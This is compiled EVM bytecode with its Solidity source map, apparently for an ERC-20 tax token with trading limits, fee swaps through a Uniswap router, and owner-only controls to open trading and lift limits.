01d760105481565b34801561038057600080fd5b5060408051808201909152600381526252584d60e81b602082015261017b565b3480156103ac57600080fd5b506101b16103bb366004611686565b6106ad565b3480156103cc57600080fd5b506101d760115481565b3480156103e257600080fd5b506006546101b19060ff1681565b3480156103fc57600080fd5b5061024b6106ba565b34801561041157600080fd5b506101d7610420366004611710565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61024b610757565b6000610460338484610aa1565b5060015b92915050565b60006104786012600a611843565b6104859062989680611852565b905090565b6000610497848484610bc5565b6104e984336104e4856040518060600160405280602881526020016119f4602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611282565b610aa1565b5060019392505050565b60065461010090046001600160a01b0316336001600160a01b03161461051857600080fd5b30600090815260016020526040902054801561053757610537816112bc565b4780156105475761054781611436565b5050565b600061056f82600660019054906101000a90046001600160a01b0316600019610aa1565b506001919050565b6000546001600160a01b031633146105aa5760405162461bcd60e51b81526004016105a190611869565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461061e5760405162461bcd60e51b81526004016105a190611869565b61062a6012600a611843565b6106379062989680611852565b600f556106466012600a611843565b6106539062989680611852565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61068d6012600a611843565b61069a9062989680611852565b60405190815260200160405180910390a1565b6000610460338484610bc5565b6000546001600160a01b031633146106e45760405162461bcd60e51b81526004016105a190611869565b601454600160a01b900460ff161561073e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105a1565b6014805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146107815760405162461bcd60e51b81526004016105a190611869565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107c99030906107bc6012600a611843565b6104e49062989680611852565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610840919061189e565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c6919061189e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610913573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610937919061189e565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d719473061097f816001600160a01b031660009081526001602052604090205490565b6000806109946000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109fc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a2191906118bb565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a7a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9e91906118e9565b50565b6001600160a01b038316610b035760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a1565b6001600160a01b038216610b645760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a1565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c295760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a1565b6001600160a01b038216610c8b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a1565b60008111610ced5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105a1565b6001600160a01b03831660009081526003602052604090205460ff16158015610d2f57506001600160a01b03821660009081526003602052604090205460ff16155b15610d8357601454600160a01b900460ff16610d835760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b60448201526064016105a1565b600080546001600160a01b03858116911614801590610db057506000546001600160a01b03848116911614155b8015610dc557506001600160a01b0384163014155b1561113f57610df66064610df0600b54600e5411610de557600754610de9565b6009545b8590611474565b906114fd565b60065490915060ff1615610ede576013546001600160a01b03848116911614801590610e3057506014546001600160a01b03848116911614155b15610ede57326000908152600560205260409020544311610ecb5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a4016105a1565b3260009081526005602052604090204390555b6014546001600160a01b038581169116148015610f0957506013546001600160a01b03848116911614155b8015610f2e57506001600160a01b03831660009081526003602052604090205460ff16155b1561101657600f54821115610f855760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105a1565b60105482610fa8856001600160a01b031660009081526001602052604090205490565b610fb2919061190b565b11156110005760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105a1565b600e80549060006110108361191e565b91905055505b6014546001600160a01b03848116911614801561103c57506001600160a01b0384163014155b15611069576110666064610df0600c54600e541161105c57600854610de9565b600a548590611474565b90505b30600090815260016020526040902054601454600160a81b900460ff161580156110a057506014546001600160a01b038581169116145b80156110b55750601454600160b01b900460ff165b80156110c2575060115481115b80156110d15750600d54600e54115b80156110f657506001600160a01b03851660009081526003602052604090205460ff16155b1561113d576111186111138461110e8460125461153f565b61153f565b6112bc565b600061112a6064610df047605a611474565b9050801561113b5761113b81611436565b505b505b80156111b9573060009081526001602052604090205461115f9082611554565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111b09085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546111dc90836115b3565b6001600160a01b03851660009081526001602052604090205561122161120283836115b3565b6001600160a01b03851660009081526001602052604090205490611554565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61126b85856115b3565b60405190815260200160405180910390a350505050565b600081848411156112a65760405162461bcd60e51b81526004016105a19190611623565b5060006112b38486611937565b95945050505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113045761130461194a565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561135d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611381919061189e565b816001815181106113945761139461194a565b6001600160a01b0392831660209182029290920101526013546113ba9130911684610aa1565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f3908590600090869030904290600401611960565b600060405180830381600087803b15801561140d57600080fd5b505af1158015611421573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610547573d6000803e3d6000fd5b60008260000361148657506000610464565b60006114928385611852565b90508261149f85836119d1565b146114f65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105a1565b9392505050565b60006114f683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115f5565b600081831161154e57826114f6565b50919050565b600080611561838561190b565b9050838110156114f65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105a1565b60006114f683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611282565b600081836116165760405162461bcd60e51b81526004016105a19190611623565b5060006112b384866119d1565b600060208083528351808285015260005b8181101561165057858101830151858201604001528201611634565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a9e57600080fd5b6000806040838503121561169957600080fd5b82356116a481611671565b946020939093013593505050565b6000806000606084860312156116c757600080fd5b83356116d281611671565b925060208401356116e281611671565b929592945050506040919091013590565b60006020828403121561170557600080fd5b81356114f681611671565b6000806040838503121561172357600080fd5b823561172e81611671565b9150602083013561173e81611671565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561179a57816000190482111561178057611780611749565b8085161561178d57918102915b93841c9390800290611764565b509250929050565b6000826117b157506001610464565b816117be57506000610464565b81600181146117d457600281146117de576117fa565b6001915050610464565b60ff8411156117ef576117ef611749565b50506001821b610464565b5060208310610133831016604e8410600b841016171561181d575081810a610464565b611827838361175f565b806000190482111561183b5761183b611749565b029392505050565b60006114f660ff8416836117a2565b808202811582820484141761046457610464611749565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118b057600080fd5b81516114f681611671565b6000806000606084860312156118d057600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118fb57600080fd5b815180151581146114f657600080fd5b8082018082111561046457610464611749565b60006001820161193057611930611749565b5060010190565b8181038181111561046457610464611749565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119b05784516001600160a01b03168352938301939183019160010161198b565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826119ee57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e620e654eb00b2ae99444634a22fa6cef876340d01ded4cee8b6fddc25d6d6f464736f6c63430008130033

3627:8576:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6424:83;;;;;;;;;;-1:-1:-1;6494:5:0;;;;;;;;;;;;-1:-1:-1;;;6494:5:0;;;;6424:83;;;;;;;:::i;:::-;;;;;;;;7257:161;;;;;;;;;;-1:-1:-1;7257:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7257:161:0;1023:187:1;4891:50:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4891:50:0;1215:177:1;6701:95:0;;;;;;;;;;;;;:::i;7590:313::-;;;;;;;;;;-1:-1:-1;7590:313:0;;;;;:::i;:::-;;:::i;6610:83::-;;;;;;;;;;-1:-1:-1;6610:83:0;;4484:2;2000:36:1;;1988:2;1973:18;6610:83:0;1858:184:1;11794:359:0;;;;;;;;;;;;;:::i;:::-;;7426:156;;;;;;;;;;-1:-1:-1;7426:156:0;;;;;:::i;:::-;;:::i;4075:33::-;;;;;;;;;;-1:-1:-1;4075:33:0;;;;;;;-1:-1:-1;;;;;4075:33:0;;;;;;-1:-1:-1;;;;;2479:32:1;;;2461:51;;2449:2;2434:18;4075:33:0;2299:219:1;6804:119:0;;;;;;;;;;-1:-1:-1;6804:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6897:18:0;6870:7;6897:18;;;:9;:18;;;;;;;6804:119;2708:148;;;;;;;;;;;;;:::i;11490:196::-;;;;;;;;;;;;;:::i;4674:49::-;;;;;;;;;;;;;;;;4999:24;;;;;;;;;;-1:-1:-1;4999:24:0;;;;-1:-1:-1;;;;;4999:24:0;;;2494:79;;;;;;;;;;-1:-1:-1;2532:7:0;2559:6;-1:-1:-1;;;;;2559:6:0;2494:79;;4730:51;;;;;;;;;;;;;;;;6515:87;;;;;;;;;;-1:-1:-1;6587:7:0;;;;;;;;;;;;-1:-1:-1;;;6587:7:0;;;;6515:87;;6931:167;;;;;;;;;;-1:-1:-1;6931:167:0;;;;;:::i;:::-;;:::i;4800:56::-;;;;;;;;;;;;;;;;4036:32;;;;;;;;;;-1:-1:-1;4036:32:0;;;;;;;;5686:170;;;;;;;;;;;;;:::i;7106:143::-;;;;;;;;;;-1:-1:-1;7106:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7214:18:0;;;7187:7;7214:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7106:143;5864:552;;;:::i;7257:161::-;7332:4;7349:39;329:10;7372:7;7381:6;7349:8;:39::i;:::-;-1:-1:-1;7406:4:0;7257:161;;;;;:::o;6701:95::-;6754:7;4541:13;4484:2;4541;:13;:::i;:::-;4528:26;;:10;:26;:::i;:::-;6774:14;;6701:95;:::o;7590:313::-;7688:4;7705:36;7715:6;7723:9;7734:6;7705:9;:36::i;:::-;7752:121;7761:6;329:10;7783:89;7821:6;7783:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7783:19:0;;;;;;:11;:19;;;;;;;;329:10;7783:33;;;;;;;;;;:37;:89::i;:::-;7752:8;:121::i;:::-;-1:-1:-1;7891:4:0;7590:313;;;;;:::o;11794:359::-;11860:10;;;;;-1:-1:-1;;;;;11860:10:0;329;-1:-1:-1;;;;;11844:26:0;;11836:35;;;;;;11923:4;11882:20;6897:18;;;:9;:18;;;;;;11945:16;;11942:76;;11976:30;11993:12;11976:16;:30::i;:::-;12049:21;12084:12;;12081:65;;12110:24;12123:10;12110:12;:24::i;:::-;11825:328;;11794:359::o;7426:156::-;7487:4;7504:48;7513:7;7522:10;;;;;;;;;-1:-1:-1;;;;;7522:10:0;-1:-1:-1;;7504:8:0;:48::i;:::-;-1:-1:-1;7570:4:0;;7426:156;-1:-1:-1;7426:156:0:o;2708:148::-;2621:6;;-1:-1:-1;;;;;2621:6:0;329:10;2621:22;2613:67;;;;-1:-1:-1;;;2613:67:0;;;;;;;:::i;:::-;;;;;;;;;2815:1:::1;2799:6:::0;;2778:40:::1;::::0;-1:-1:-1;;;;;2799:6:0;;::::1;::::0;2778:40:::1;::::0;2815:1;;2778:40:::1;2846:1;2829:19:::0;;-1:-1:-1;;;;;;2829:19:0::1;::::0;;2708:148::o;11490:196::-;2621:6;;-1:-1:-1;;;;;2621:6:0;329:10;2621:22;2613:67;;;;-1:-1:-1;;;2613:67:0;;;;;;;:::i;:::-;4541:13:::1;4484:2;4541;:13;:::i;:::-;4528:26;::::0;:10:::1;:26;:::i;:::-;11543:12;:22:::0;4541:13:::1;4484:2;4541;:13;:::i;:::-;4528:26;::::0;:10:::1;:26;:::i;:::-;11576:14;:22:::0;11609:20:::1;:26:::0;;-1:-1:-1;;11609:26:0::1;::::0;;11651:27:::1;4541:13;4484:2;-1:-1:-1::0;4541:13:0::1;:::i;:::-;4528:26;::::0;:10:::1;:26;:::i;:::-;11651:27;::::0;1361:25:1;;;1349:2;1334:18;11651:27:0::1;;;;;;;11490:196::o:0;6931:167::-;7009:4;7026:42;329:10;7050:9;7061:6;7026:9;:42::i;5686:170::-;2621:6;;-1:-1:-1;;;;;2621:6:0;329:10;2621:22;2613:67;;;;-1:-1:-1;;;2613:67:0;;;;;;;:::i;:::-;5750:11:::1;::::0;-1:-1:-1;;;5750:11:0;::::1;;;5749:12;5741:47;;;::::0;-1:-1:-1;;;5741:47:0;;5375:2:1;5741:47:0::1;::::0;::::1;5357:21:1::0;5414:2;5394:18;;;5387:30;5453:25;5433:18;;;5426:53;5496:18;;5741:47:0::1;5173:347:1::0;5741:47:0::1;5801:11;:18:::0;;-1:-1:-1;;;;5830:18:0;-1:-1:-1;;;5830:18:0;;;5686:170::o;5864:552::-;2621:6;;-1:-1:-1;;;;;2621:6:0;329:10;2621:22;2613:67;;;;-1:-1:-1;;;2613:67:0;;;;;;;:::i;:::-;5924:15:::1;:80:::0;;-1:-1:-1;;;;;;5924:80:0::1;5961:42;5924:80:::0;;::::1;::::0;;;6015:58:::1;::::0;6032:4:::1;::::0;4541:13:::1;4484:2;4541;:13;:::i;:::-;4528:26;::::0;:10:::1;:26;:::i;6015:58::-;6114:15;;;;;;;;;-1:-1:-1::0;;;;;6114:15:0::1;-1:-1:-1::0;;;;;6114:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6096:55:0::1;;6160:4;6167:15;;;;;;;;;-1:-1:-1::0;;;;;6167:15:0::1;-1:-1:-1::0;;;;;6167:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6096:94;::::0;-1:-1:-1;;;;;;6096:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6011:15:1;;;6096:94:0::1;::::0;::::1;5993:34:1::0;6063:15;;6043:18;;;6036:43;5928:18;;6096:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6084:9;:106:::0;;-1:-1:-1;;;;;6084:106:0;;::::1;-1:-1:-1::0;;;;;;6084:106:0;;::::1;;::::0;;6201:15:::1;::::0;::::1;:31;6240:21;6271:4;6277:24;6271:4:::0;-1:-1:-1;;;;;6897:18:0;6870:7;6897:18;;;:9;:18;;;;;;;6804:119;6277:24:::1;6302:1;6304::::0;6306:7:::1;2532::::0;2559:6;-1:-1:-1;;;;;2559:6:0;;2494:79;6306:7:::1;6201:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;6201:129:0;;;-1:-1:-1;;;;;6449:15:1;;;6201:129:0::1;::::0;::::1;6431:34:1::0;6481:18;;;6474:34;;;;6524:18;;;6517:34;;;;6567:18;;;6560:34;6631:15;;;6610:19;;;6603:44;6314:15:0::1;6663:19:1::0;;;6656:35;6365:19;;6201:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6348:9:0::1;::::0;6375:15:::1;::::0;6341:67:::1;::::0;-1:-1:-1;;;6341:67:0;;-1:-1:-1;;;;;6375:15:0;;::::1;6341:67;::::0;::::1;7187:51:1::0;-1:-1:-1;;7254:18:1;;;7247:34;6348:9:0;::::1;::::0;-1:-1:-1;6341:25:0::1;::::0;7160:18:1;;6341:67:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5864:552::o:0;7911:335::-;-1:-1:-1;;;;;8004:19:0;;7996:68;;;;-1:-1:-1;;;7996:68:0;;7776:2:1;7996:68:0;;;7758:21:1;7815:2;7795:18;;;7788:30;7854:34;7834:18;;;7827:62;-1:-1:-1;;;7905:18:1;;;7898:34;7949:19;;7996:68:0;7574:400:1;7996:68:0;-1:-1:-1;;;;;8083:21:0;;8075:68;;;;-1:-1:-1;;;8075:68:0;;8181:2:1;8075:68:0;;;8163:21:1;8220:2;8200:18;;;8193:30;8259:34;8239:18;;;8232:62;-1:-1:-1;;;8310:18:1;;;8303:32;8352:19;;8075:68:0;7979:398:1;8075:68:0;-1:-1:-1;;;;;8154:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8206:32;;1361:25:1;;;8206:32:0;;1334:18:1;8206:32:0;;;;;;;7911:335;;;:::o;8254:2629::-;-1:-1:-1;;;;;8342:18:0;;8334:68;;;;-1:-1:-1;;;8334:68:0;;8584:2:1;8334:68:0;;;8566:21:1;8623:2;8603:18;;;8596:30;8662:34;8642:18;;;8635:62;-1:-1:-1;;;8713:18:1;;;8706:35;8758:19;;8334:68:0;8382:401:1;8334:68:0;-1:-1:-1;;;;;8421:16:0;;8413:64;;;;-1:-1:-1;;;8413:64:0;;8990:2:1;8413:64:0;;;8972:21:1;9029:2;9009:18;;;9002:30;9068:34;9048:18;;;9041:62;-1:-1:-1;;;9119:18:1;;;9112:33;9162:19;;8413:64:0;8788:399:1;8413:64:0;8505:1;8496:6;:10;8488:64;;;;-1:-1:-1;;;8488:64:0;;9394:2:1;8488:64:0;;;9376:21:1;9433:2;9413:18;;;9406:30;9472:34;9452:18;;;9445:62;-1:-1:-1;;;9523:18:1;;;9516:39;9572:19;;8488:64:0;9192:405:1;8488:64:0;-1:-1:-1;;;;;8570:24:0;;;;;;:18;:24;;;;;;;;8569:25;:52;;;;-1:-1:-1;;;;;;8599:22:0;;;;;;:18;:22;;;;;;;;8598:23;8569:52;8565:101;;;8631:11;;-1:-1:-1;;;8631:11:0;;;;8623:43;;;;-1:-1:-1;;;8623:43:0;;9804:2:1;8623:43:0;;;9786:21:1;9843:2;9823:18;;;9816:30;-1:-1:-1;;;9862:18:1;;;9855:49;9921:18;;8623:43:0;9602:343:1;8623:43:0;8679:17;2559:6;;-1:-1:-1;;;;;8713:15:0;;;2559:6;;8713:15;;;;:32;;-1:-1:-1;2532:7:0;2559:6;-1:-1:-1;;;;;8732:13:0;;;2559:6;;8732:13;;8713:32;:57;;;;-1:-1:-1;;;;;;8749:21:0;;8765:4;8749:21;;8713:57;8709:1814;;;8801:76;8873:3;8801:67;8823:15;;8813:9;;:25;8812:55;;8853:14;;8812:55;;;8840:12;;8812:55;8801:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8898:20;;8789:88;;-1:-1:-1;8898:20:0;;8894:504;;;8959:15;;-1:-1:-1;;;;;8945:30:0;;;8959:15;;8945:30;;;;:58;;-1:-1:-1;8993:9:0;;-1:-1:-1;;;;;8979:24:0;;;8993:9;;8979:24;;8945:58;8941:440;;;9095:9;9066:39;;;;:28;:39;;;;;;9139:12;-1:-1:-1;9030:250:0;;;;-1:-1:-1;;;9030:250:0;;10152:2:1;9030:250:0;;;10134:21:1;10191:2;10171:18;;;10164:30;10230:34;10210:18;;;10203:62;10301:34;10281:18;;;10274:62;-1:-1:-1;;;10352:19:1;;;10345:40;10402:19;;9030:250:0;9950:477:1;9030:250:0;9334:9;9305:39;;;;:28;:39;;;;;9347:12;9305:54;;8941:440;9426:9;;-1:-1:-1;;;;;9418:17:0;;;9426:9;;9418:17;:51;;;;-1:-1:-1;9453:15:0;;-1:-1:-1;;;;;9439:30:0;;;9453:15;;9439:30;;9418:51;:79;;;;-1:-1:-1;;;;;;9475:22:0;;;;;;:18;:22;;;;;;;;9473:24;9418:79;9414:309;;;9537:12;;9527:6;:22;;9519:60;;;;-1:-1:-1;;;9519:60:0;;10634:2:1;9519:60:0;;;10616:21:1;10673:2;10653:18;;;10646:30;10712:27;10692:18;;;10685:55;10757:18;;9519:60:0;10432:349:1;9519:60:0;9632:14;;9622:6;9606:13;9616:2;-1:-1:-1;;;;;6897:18:0;6870:7;6897:18;;;:9;:18;;;;;;;6804:119;9606:13;:22;;;;:::i;:::-;:40;;9598:79;;;;-1:-1:-1;;;9598:79:0;;11118:2:1;9598:79:0;;;11100:21:1;11157:2;11137:18;;;11130:30;11196:28;11176:18;;;11169:56;11242:18;;9598:79:0;10916:350:1;9598:79:0;9696:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9414:309;9749:9;;-1:-1:-1;;;;;9743:15:0;;;9749:9;;9743:15;:39;;;;-1:-1:-1;;;;;;9762:20:0;;9777:4;9762:20;;9743:39;9739:173;;;9816:79;9891:3;9816:70;9838:16;;9828:9;;:26;9827:58;;9870:15;;9827:58;;;9856:13;;9816:6;;:10;:70::i;:79::-;9804:91;;9739:173;9977:4;9928:28;6897:18;;;:9;:18;;;;;;10003:6;;-1:-1:-1;;;10003:6:0;;;;10002:7;:26;;;;-1:-1:-1;10019:9:0;;-1:-1:-1;;;;;10013:15:0;;;10019:9;;10013:15;10002:26;:41;;;;-1:-1:-1;10032:11:0;;-1:-1:-1;;;10032:11:0;;;;10002:41;:83;;;;;10068:17;;10047:20;:38;10002:83;:115;;;;;10099:18;;10089:9;;:28;10002:115;:144;;;;-1:-1:-1;;;;;;10122:24:0;;;;;;:18;:24;;;;;;;;10121:25;10002:144;9998:514;;;10183:67;10200:49;10204:6;10211:37;10215:20;10236:11;;10211:3;:37::i;:::-;10200:3;:49::i;:::-;10183:16;:67::i;:::-;10271:26;10300:38;10334:3;10300:29;:21;10326:2;10300:25;:29::i;:38::-;10271:67;-1:-1:-1;10398:22:0;;10395:102;;10445:32;10458:18;10445:12;:32::i;:::-;10148:364;9998:514;8772:1751;8709:1814;10538:13;;10535:163;;10608:4;10590:24;;;;:9;:24;;;;;;:39;;10619:9;10590:28;:39::i;:::-;10583:4;10565:24;;;;:9;:24;;;;;;;:64;;;;10647:39;;-1:-1:-1;;;;;10647:39:0;;;;;;;10676:9;1361:25:1;;1349:2;1334:18;;1215:177;10647:39:0;;;;;;;;10535:163;-1:-1:-1;;;;;10726:15:0;;;;;;:9;:15;;;;;;:27;;10746:6;10726:19;:27::i;:::-;-1:-1:-1;;;;;10710:15:0;;;;;;:9;:15;;;;;:43;10778:40;10796:21;:6;10807:9;10796:10;:21::i;:::-;-1:-1:-1;;;;;10778:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10764:13:0;;;;;;;:9;:13;;;;;:54;;;;10834:41;;;10853:21;:6;10864:9;10853:10;:21::i;:::-;10834:41;;1361:25:1;;;1349:2;1334:18;10834:41:0;;;;;;;8323:2560;8254:2629;;;:::o;1386:190::-;1472:7;1508:12;1500:6;;;;1492:29;;;;-1:-1:-1;;;1492:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1532:9:0;1544:5;1548:1;1544;:5;:::i;:::-;1532:17;1386:190;-1:-1:-1;;;;;1386:190:0:o;10999:483::-;5218:6;:13;;-1:-1:-1;;;;5218:13:0;-1:-1:-1;;;5218:13:0;;;11101:16:::1;::::0;;11115:1:::1;11101:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11101:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11101:16:0::1;11077:40;;11146:4;11128;11133:1;11128:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11128:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11172:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11172:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11128:7;;11172:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11162:4;11167:1;11162:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11162:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11237:15:::1;::::0;11205:62:::1;::::0;11222:4:::1;::::0;11237:15:::1;11255:11:::0;11205:8:::1;:62::i;:::-;11278:15;::::0;:196:::1;::::0;-1:-1:-1;;;11278:196:0;;-1:-1:-1;;;;;11278:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11359:11;;11278:15:::1;::::0;11401:4;;11428::::1;::::0;11448:15:::1;::::0;11278:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5254:6:0;:14;;-1:-1:-1;;;;5254:14:0;;;-1:-1:-1;;;;10999:483:0:o;11694:92::-;11751:10;;:27;;:10;;;;-1:-1:-1;;;;;11751:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;1584:246;1642:7;1666:1;1671;1666:6;1662:47;;-1:-1:-1;1696:1:0;1689:8;;1662:47;1719:9;1731:5;1735:1;1731;:5;:::i;:::-;1719:17;-1:-1:-1;1764:1:0;1755:5;1759:1;1719:17;1755:5;:::i;:::-;:10;1747:56;;;;-1:-1:-1;;;1747:56:0;;13217:2:1;1747:56:0;;;13199:21:1;13256:2;13236:18;;;13229:30;13295:34;13275:18;;;13268:62;-1:-1:-1;;;13346:18:1;;;13339:31;13387:19;;1747:56:0;13015:397:1;1747:56:0;1821:1;1584:246;-1:-1:-1;;;1584:246:0:o;1838:132::-;1896:7;1923:39;1927:1;1930;1923:39;;;;;;;;;;;;;;;;;:3;:39::i;10893:98::-;10950:7;10977:1;10975;:3;10974:9;;10982:1;10974:9;;;-1:-1:-1;10980:1:0;10893:98;-1:-1:-1;10893:98:0:o;1055:179::-;1113:7;;1145:5;1149:1;1145;:5;:::i;:::-;1133:17;;1174:1;1169;:6;;1161:46;;;;-1:-1:-1;;;1161:46:0;;13619:2:1;1161:46:0;;;13601:21:1;13658:2;13638:18;;;13631:30;13697:29;13677:18;;;13670:57;13744:18;;1161:46:0;13417:351:1;1242:136:0;1300:7;1327:43;1331:1;1334;1327:43;;;;;;;;;;;;;;;;;:3;:43::i;1978:189::-;2064:7;2099:12;2092:5;2084:28;;;;-1:-1:-1;;;2084:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2123:9:0;2135:5;2139:1;2135;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;6